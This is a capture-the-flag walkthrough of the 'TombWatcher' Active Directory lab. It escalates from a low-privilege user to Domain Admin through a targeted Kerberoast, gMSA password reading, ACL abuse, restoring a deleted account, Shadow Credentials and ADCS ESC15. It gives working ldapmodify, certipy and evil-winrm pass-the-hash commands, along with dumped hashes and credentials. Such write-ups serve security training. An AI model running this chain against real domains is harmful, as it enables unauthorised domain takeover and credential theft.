TombWatcher, a complex Active Directory machine. This walkthrough covers Kerberoasting, abusing Group Managed Service Accounts (gMSA), and escalating privileges through a creative ADCS ESC15 certificate vulnerability. A multi-stage attack from user to full domain compromise.

Before I start the walkthrough, I would like to point out some of the things that you will learn in this machine:
As always, we kick things off with a scan.
1~ ✗ nmap -sC -sV -p- --min-rate 10000 -Pn -A 10.10.11.72
2PORT STATE SERVICE VERSION
353/tcp open domain Simple DNS Plus
480/tcp open http Microsoft IIS httpd 10.0
5| http-methods:
6|_ Potentially risky methods: TRACE
7|_http-server-header: Microsoft-IIS/10.0
8|_http-title: IIS Windows Server
988/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-20 18:53:11Z)
10135/tcp open msrpc Microsoft Windows RPC
11139/tcp open netbios-ssn Microsoft Windows netbios-ssn
12389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
13| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
14| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
15| Not valid before: 2025-10-20T14:42:04
16|_Not valid after: 2026-10-20T14:42:04
17|_ssl-date: 2025-10-20T18:54:48+00:00; +3h59m57s from scanner time.
18445/tcp open microsoft-ds?
19464/tcp open kpasswd5?
20593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
213268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
22|_ssl-date: 2025-10-20T18:54:47+00:00; +3h59m57s from scanner time.
23| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
24| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
25| Not valid before: 2025-10-20T14:42:04
26|_Not valid after: 2026-10-20T14:42:04
273269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
28|_ssl-date: 2025-10-20T18:54:48+00:00; +3h59m57s from scanner time.
29| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
30| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
31| Not valid before: 2025-10-20T14:42:04
32|_Not valid after: 2026-10-20T14:42:04
335985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
34|_http-title: Not Found
35|_http-server-header: Microsoft-HTTPAPI/2.0
369389/tcp open mc-nmf .NET Message Framing
3749666/tcp open msrpc Microsoft Windows RPC
3849691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3949692/tcp open msrpc Microsoft Windows RPC
4049694/tcp open msrpc Microsoft Windows RPC
4149712/tcp open msrpc Microsoft Windows RPC
4249727/tcp open msrpc Microsoft Windows RPC
4349742/tcp open msrpc Microsoft Windows RPC
44Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsA quick Nmap scan reveals a pretty standard Active Directory environment. We see the usual suspects: DNS (53), Kerberos (88), LDAP (389), and SMB (445).
Since we were given a username and password, I first tried logging in via WinRM and RDP, but both failed. This suggests our user has privileges within Active Directory but isn't a member of the "Remote Management Users" or "Remote Desktop Users" groups.
When direct login fails, the next logical step is to start enumerating the domain from our attacker machine using protocols like LDAP, SMB, and Kerberos to see what our user can see and do.
Before diving deep into enumeration, I always check the domain's password policy. This is a crucial step in any CTF or real-world assessment because it tells you what you can and can't get away with. Specifically, I'm looking for the account lockout policy. If there's a low lockout threshold, attempting to brute-force or password spray could get accounts locked, creating unnecessary noise and potentially blocking our access.
to retrieve the password policy i have created script for it check it out here.
1❯ python3 password-policy.py -t tombwatcher.htb -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!'
2
3============================================================
4 PASSWORD POLICY (SMB/SAMR)
5============================================================
6+-------------------------------+------------+
7| Minimum password length | 1 |
8+===============================+============+
9| Password history length | 24 |
10+-------------------------------+------------+
11| Maximum password age | Not Set |
12+-------------------------------+------------+
13| Minimum password age | None |
14+-------------------------------+------------+
15| Lockout threshold | None |
16+-------------------------------+------------+
17| Lockout duration | 30 minutes |
18+-------------------------------+------------+
19| Reset account lockout counter | 30 minutes |
20+-------------------------------+------------+
21since Lockout threshold: None. This is great news for us it means we can safely attempt password spraying or brute-force attacks.
I tried a quick password spray against common accounts but came up empty. It's time to move on to more detailed enumeration with BloodHound.
To enumerate an Active Directory (AD) environment effectively, I’ll use BloodHound to map and analyze AD relationships. For more details, refer to the BloodHound documentation.
In this scenario, I’ll leverage bloodhound-python, a lightweight and efficient tool for collecting AD data. bloodhound-python queries the AD environment via LDAP (Lightweight Directory Access Protocol) using provided credentials. It gathers information about users, groups, computers, organizational units, and other AD objects, saving the data in a format compatible with BloodHound for further analysis.
let's start we have an interesting attack path, let's start explaining one after another.
BloodHound reveals a fascinating attack chain.
Path 1: Kerberoasting alfred via WriteSPN
The first thing I checked was the outbound control (refers to the set of permissions that a specific user or group (a "principal") has over other objects in Active Directory.) for our user, henry. BloodHound immediately highlighted a critical permission: henry has WriteSPN rights on the user alfred.
So, what's the plan? Kerberoasting.
This attack lets us extract a user's password hash if they have a Service Principal Name (SPN) set. An SPN links a user account to a service (like a web server). When a client requests a ticket for that service, the ticket is encrypted with the service account's password hash.
Normally, alfred doesn't have an SPN, so we can't Kerberoast him directly. But since we have WriteSPN permissions, we can simply add one ourselves.
Here's the process:
Now that we've compromised alfred, let's see what new privileges we have. Running BloodHound again with alfred's credentials reveals our next step.
As you can see, alfred has the AddSelf permission on the Infrastructure group. This is a straightforward privilege that allows a user to add themselves as a member of a specific group. Our next move is clear: add alfred to this group and see what doors it unlocks.
Now that alfred is a member of the Infrastructure group, we need to find out what new powers we've gained.
The Infrastructure group has the ReadGMSAPassword permission over a Group Managed Service Account (gMSA) named ansible_dev$.
What is a gMSA and why is this important?
A Group Managed Service Account (gMSA) is a special type of AD account used to run services. Its key feature is that Active Directory automatically manages its password, which is usually long and complex. The ReadGMSAPassword permission allows a user or group to retrieve this password (or its hash) from the domain controller.
For us, this is a direct path to escalation. Since we are in the Infrastructure group, we can now ask the domain controller for the ansible_dev$ account's credentials. With its NTLM hash in hand, we can impersonate this service account and see what it has access to.
we see that ansible_dev$ has the ForceChangePassword privilege over the user sam. This is exactly what it sounds like—it allows us to reset sam's password without knowing the current one. We can now take over the sam account.
with control of sam, we find that sam has WriteOwner permissions on the user john. This is a powerful privilege. By changing the owner of the john account to sam (an account we control), we can then grant ourselves further rights, like GenericAll (most powerful permission you can have over an object (like a user, group, or computer). It's essentially "full control" or "god mode" for that specific object.), which in turn allows us to reset john's password.
After taking control of the john account, The user john has GenericAll permissions on an Organizational Unit (OU) named ADCS.
At first glance, the OU appears empty, which might seem like a dead end. However, this level of control is extremely powerful. It means if we can get a user with valuable permissions into that OU, we can then take control of them. we will see later.
Alright, enough theory. We've mapped out the ports, checked the policies, and identified our attack vectors. Now, let's get to the good stuff and start hacking.
Our first move is to compromise the alfred account. As we discovered, we can't Kerberoast him directly because he has no Service Principal Name (SPN). But since our initial user, henry, has WriteSPN permissions, we can add one for him.
First, I ran Impacket's GetUserSPNs.py just to confirm there were no existing SPNs to abuse. As expected, it returned nothing.
So, let's create one.
1. Create the SPN via ldapmodify
We'll use ldapmodify to add an SPN to the alfred account. This is done by creating an LDIF file (create.ldif) that specifies the change:
1dn: CN=ALFRED,CN=Users,DC=tombwatcher,DC=htb
2changetype: modify
3add: servicePrincipalName
4servicePrincipalName: HTTP/webserver.tombwatcher.htbthen, we apply it using henry's credentials:
1ldapmodify -x -H ldap://tombwatcher.htb -D "Alfred@tombwatcher.htb" -w 'basketball' -f addtogroup.ldif
2To confirm it worked, we can use a tool like nxc (NetExec) to query the avaliable SPNs. But before we do, it's crucial to remember that Kerberos requires our attacker machine's time to be synchronized with the domain controller. use this command: sudo ntpdate 10.10.11.72,now after sync let's preform the attack.
With the hash extracted and saved to a file, it's time for the final step: cracking it. We'll use Hashcat for this, specifying mode 13100 for Kerberos TGS-REP tickets and pointing it to a reliable wordlist like rockyou.txt.
(Good practice note: In a real engagement, after successfully cracking the password, you should go back and remove the SPN you created to clean up your tracks. For this CTF, I'll skip that step.)
Now that we have alfred's password (basketball), it's time to leverage his privileges. Our scan showed that alfred has the AddSelf permission on the Infrastructure group, so let's make him a member.
We can do this easily with ldapmodify. First, I'll create an LDIF file named addtogroup.ldif with the following content, which tells the domain to add alfred as a member of the Infrastructure group.
1dn: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb
2changetype: modify
3add: member
4member: CN=Alfred,CN=Users,DC=tombwatcher,DC=htbNext, I'll execute this using alfred's credentials:
1ldapmodify -x -H ldap://tombwatcher.htb -D "Alfred@tombwatcher.htb" -w 'basketball' -f addtogroup.ldif
2to confirm group membership run the following LDAP query.
1ldapsearch -x -H ldap://tombwatcher.htb -D "Alfred@tombwatcher.htb" -w 'basketball' -b "DC=tombwatcher,DC=htb" "(member=CN=Alfred,CN=Users,DC=tombwatcher,DC=htb)" dn
2
3# Infrastructure, Users, tombwatcher.htb
4dn: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htbReadGMSAPassword to Compromise ansible_dev$since we know Infrastructure can grants us ReadGMSAPassword on the ansible_dev$ gMSA. This is our next target.
So, we know our next target is the ansible_dev$ gMSA. But is it the only one? Let's double-check by running a quick LDAP query to see if any other gMSA accounts exist on the domain.
1ldapsearch -H ldap://tombwatcher.htb -x -D "Alfred@tombwatcher.htb" -w 'basketball' \
2-b "DC=tombwatcher,DC=htb" "(objectClass=msDS-GroupManagedServiceAccount)" dnThe command returns a single result: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb. This confirms our target.
Since our user is in the right group and has permissions to read the gMSA password, let's use gMSADumper.py to extract the hash.
Our scan showed that the ansible_dev$ service account has ForceChangePassword rights over the user sam. Now that we have the NTLM hash for ansible_dev$, we can use that permission to take over the sam account.
A simple ldapmodify won't work here because we only have an NTLM hash, not a cleartext password. Standard LDAP tools typically don't support pass-the-hash authentication for this type of operation.
This is where a tool like bloodyAD comes in handy
Now that we control the sam account, we can leverage its permissions. Our BloodHound analysis revealed that sam has the WriteOwner privilege over the user john. This is our next stepping stone.
The WriteOwner permission is powerful because it allows us to change who owns an object. By making sam (the account we control) the new owner of the john account, we can then grant ourselves further rights over it.
Just being the owner isn't enough to reset a password directly. We need to explicitly grant ourselves that right. The easiest way is to give our user, sam, the GenericAll permission over john. GenericAll is the "god mode" permission, allowing us to do anything to the object.
let’s try to login to using Evil-winRM
after getting access using Evil-winRM let's try to enumerate more, first let's see the group names and privilege we have.
1*Evil-WinRM* PS C:\Users\john> whoami /all
2
3GROUP INFORMATION
4-----------------
5
6Group Name Type SID Attributes
7========================================== ================ ============ ==================================================
8Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
9BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
10BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
11BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
12BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
13NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
14NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
15NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
16NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
17Mandatory Label\Medium Mandatory Level Label S-1-16-8192Two groups immediately stand out:
This is a huge hint that our final privilege escalation path lies within ADCS. The next logical step is to enumerate the certificate templates on the domain to see if we can find any misconfigurations to exploit. For this, we can use Certipy.
At this point, if you're not familiar with how Active Directory Certificate Services (ADCS) works, I highly recommend pausing to do some reading. These concepts are not just for this machine; they appear frequently in many modern Active Directory environments.
After running Certipy, one template immediately catches my eye: WebServer.
1 4
2 Template Name : WebServer
3 Display Name : Web Server
4 Certificate Authorities : tombwatcher-CA-1
5 Enabled : True
6 Client Authentication : False
7 Enrollment Agent : False
8 Any Purpose : False
9 Enrollee Supplies Subject : True
10 Certificate Name Flag : EnrolleeSuppliesSubject
11 Extended Key Usage : Server Authentication
12 Requires Manager Approval : False
13 Requires Key Archival : False
14 Authorized Signatures Required : 0
15 Schema Version : 1
16 Validity Period : 2 years
17 Renewal Period : 6 weeks
18 Minimum RSA Key Length : 2048
19 Template Created : 2024-11-16T00:57:49+00:00
20 Template Last Modified : 2024-11-16T17:07:26+00:00
21 Permissions
22 Enrollment Permissions
23 Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
24 TOMBWATCHER.HTB\Enterprise Admins
25 S-1-5-21-1392491010-1358638721-2126982587-1111
26 Object Control Permissions
27 Owner : TOMBWATCHER.HTB\Enterprise Admins
28 Full Control Principals : TOMBWATCHER.HTB\Domain Admins
29 TOMBWATCHER.HTB\Enterprise Admins
30 Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
31 TOMBWATCHER.HTB\Enterprise Admins
32 Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
33 TOMBWATCHER.HTB\Enterprise Admins
34 Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
35 TOMBWATCHER.HTB\Enterprise Admins
36 S-1-5-21-1392491010-1358638721-2126982587-1111Let's break down why this is so interesting. Two key properties point to a specific vulnerability known as ESC15:
This combination is dangerous. The WebServer template is only meant for "Server Authentication" (like for a website's TLS certificate), not for logging into Windows. However, the ESC15 vulnerability allows us to abuse the Enrollee Supplies Subject setting on a v1 template to inject our own purposes into the certificate request.
Here's the attack plan:
This effectively turns a useless web server certificate into a golden ticket for logging in as any user we want, completely bypassing the template's intended restrictions.
But, we have small issue, the only domain admin and enterprise and unknown SID can enroll to this template so let's check what is this SID.
in Active Directory environment (one with the AD Recycle Bin feature enabled), it isn't immediately and permanently erased. Instead, it's moved to a special, hidden container called "Deleted Objects" think of it as the Windows Recycle Bin for AD.
The object is stripped of most of its attributes and disabled, but its core identity, including its SID and its last known location, is preserved for a set period. This allows administrators to recover accidentally deleted objects.
Finding the Deleted Object
To search within this "trash can," we can use the Get-ADObject PowerShell cmdlet with the -IncludeDeletedObjects flag. Let's try our query again with this flag.
1*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' -Properties * -IncludeDeletedObjects
2
3
4accountExpires : 9223372036854775807
5badPasswordTime : 0
6badPwdCount : 0
7CanonicalName : tombwatcher.htb/Deleted Objects/cert_admin
8 DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
9CN : cert_admin
10 DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
11codePage : 0
12countryCode : 0
13Created : 11/16/2024 12:07:04 PM
14createTimeStamp : 11/16/2024 12:07:04 PM
15Deleted : True
16Description :
17DisplayName :
18DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
19dSCorePropagationData : {11/16/2024 12:07:10 PM, 11/16/2024 12:07:08 PM, 12/31/1600 7:00:00 PM}
20givenName : cert_admin
21instanceType : 4
22isDeleted : True
23LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
24lastLogoff : 0
25lastLogon : 0
26logonCount : 0
27Modified : 11/16/2024 12:07:27 PM
28modifyTimeStamp : 11/16/2024 12:07:27 PM
29msDS-LastKnownRDN : cert_admin
30Name : cert_admin
31 DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
32nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
33ObjectCategory :
34ObjectClass : user
35ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
36objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
37primaryGroupID : 513
38ProtectedFromAccidentalDeletion : False
39pwdLastSet : 133762504248946345
40sAMAccountName : cert_admin
41sDRightsEffective : 7
42sn : cert_admin
43userAccountControl : 66048
44uSNChanged : 13197
45uSNCreated : 13186
46whenChanged : 11/16/2024 12:07:27 PM
47whenCreated : 11/16/2024 12:07:04 PMThis is where all the pieces of the puzzle snap into place. Let's connect the dots:
It means that if we can restore the cert_admin user back into its original ADCS OU, our GenericAll permissions will immediately apply to it. We will have complete control over the cert_admin account the moment it's restored.
Our path forward is clear: restore the user, take control of it, and then use it to exploit the ESC15 vulnerability.
type the following command to restore the user, with the delete ID.
Now that the cert_admin user is restored into the ADCS OU where we have GenericAll permissions, we own it completely.
We could simply change its password, just like we did with the sam and john accounts earlier. But this time, let's do something different and much stealthier. We'll perform a Shadow Credentials attack.
Instead of overwriting the user's current password (which is noisy and might be noticed), a Shadow Credentials attack involves adding a new, secret credential to the user's account. We can use our GenericAll privilege to manipulate the msDS-KeyCredentialLink attribute of the cert_admin object. This allows us to add our own credential (like an NTLM hash) to the account. We can then authenticate as cert_admin using our secret credential, while the user's original password remains unchanged. It's the perfect way to gain access without leaving an obvious trace.
Here’s what Certipy does under the hood:
msDS-KeyCredentialLink attribute.We now have the NTLM hash for cert_admin, the user with enrollment rights on the vulnerable WebServer template. It's tempting to think we can just log in with this user, but it's not that simple.
A quick but important note: you can't just use these credentials with Evil-WinRM. Logging in via WinRM requires membership in the Remote Management Users group, and cert_admin is only a Domain User.
Our goal isn't to become cert_admin, but to use its privileges to forge a certificate for someone who really matters: the domain Administrator. This is where the ESC15 vulnerability comes into play. We'll execute a two-step certificate request to become Domain Admin.
First, we'll use cert_admin's privileges to request a certificate from the vulnerable WebServer template. But thanks to ESC15, we'll inject a malicious application policy: Certificate Request Agent. This EKU (Extended Key Usage) will turn our certificate into a special "agent" certificate, allowing us to request other certificates on behalf of other users.
1certipy req -u 'cert_admin' -hashes ':f87ebf0febd9c4095c68a88928755773' \
2-dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'WebServer' \
3-application-policies 'Certificate Request Agent'
4Certipy successfully abuses the vulnerability and saves the resulting agent certificate as cert_admin.pfx.
Now, armed with our agent certificate (cert_admin.pfx), we can perform the final attack. We'll make a new certificate request, this time targeting the standard User template. The crucial difference is that we will use our agent certificate to specify that we are requesting it on behalf of TOMBWATCHER\Administrator.
if you asked why we are using user template?, this because The User template is perfect for this because it allows for client authentication, which is exactly what we need to get a Kerberos Ticket Granting Ticket (TGT).
1certipy req -u 'cert_admin' -hashes ':f87ebf0febd9c4095c68a88928755773' \
2-dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'User' \
3-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'
4Success! The certificate authority issues a new certificate, administrator.pfx, that is cryptographically tied to the Domain Administrator account.
With the administrator's certificate in hand, we can use it to authenticate to the domain and receive a TGT, just as if we had the administrator's password. Certipy's auth command handles this perfectly.
1❯ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -username "administrator" -domain "tombwatcher.htb"
2Certipy v5.0.3 - by Oliver Lyak (ly4k)
3
4[*] Certificate identities:
5[*] SAN UPN: 'Administrator@tombwatcher.htb'
6[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
7[*] Using principal: 'administrator@tombwatcher.htb'
8[*] Trying to get TGT...
9[*] Got TGT
10[*] Saving credential cache to 'administrator.ccache'
11[*] Wrote credential cache to 'administrator.ccache'
12[*] Trying to retrieve NT hash for 'administrator'
13[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fcWe now have everything we need. Using the Administrator's NTLM hash, we can log in via Evil-WinRM and grab the root flag.
1sudo evil-winrm -i tombwatcher.htb -u 'Administrator' -H 'f61db423bebe3328d33af26741afe5fc'
2/usr/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
3/usr/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
4
5Evil-WinRM shell v3.7
6
7Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
8
9Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
10
11Info: Establishing connection to remote endpoint
12*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
13*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
14*Evil-WinRM* PS C:\Users\Administrator> cd desktop
15*Evil-WinRM* PS C:\Users\Administrator\desktop> dir
16
17
18 Directory: C:\Users\Administrator\desktop
19
20
21Mode LastWriteTime Length Name
22---- ------------- ------ ----
23-ar--- 10/24/2025 10:03 AM 34 root.txt
24
25
26cat root.txt
27*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
28fcff5a4b610e23c51cb74fce2ad5f831
29*Evil-WinRM* PS C:\Users\Administrato
And with that, the machine is fully compromised and the box is rooted. Thanks for reading, and I hope you enjoyed the walkthrough!
Published Oct 27, 2025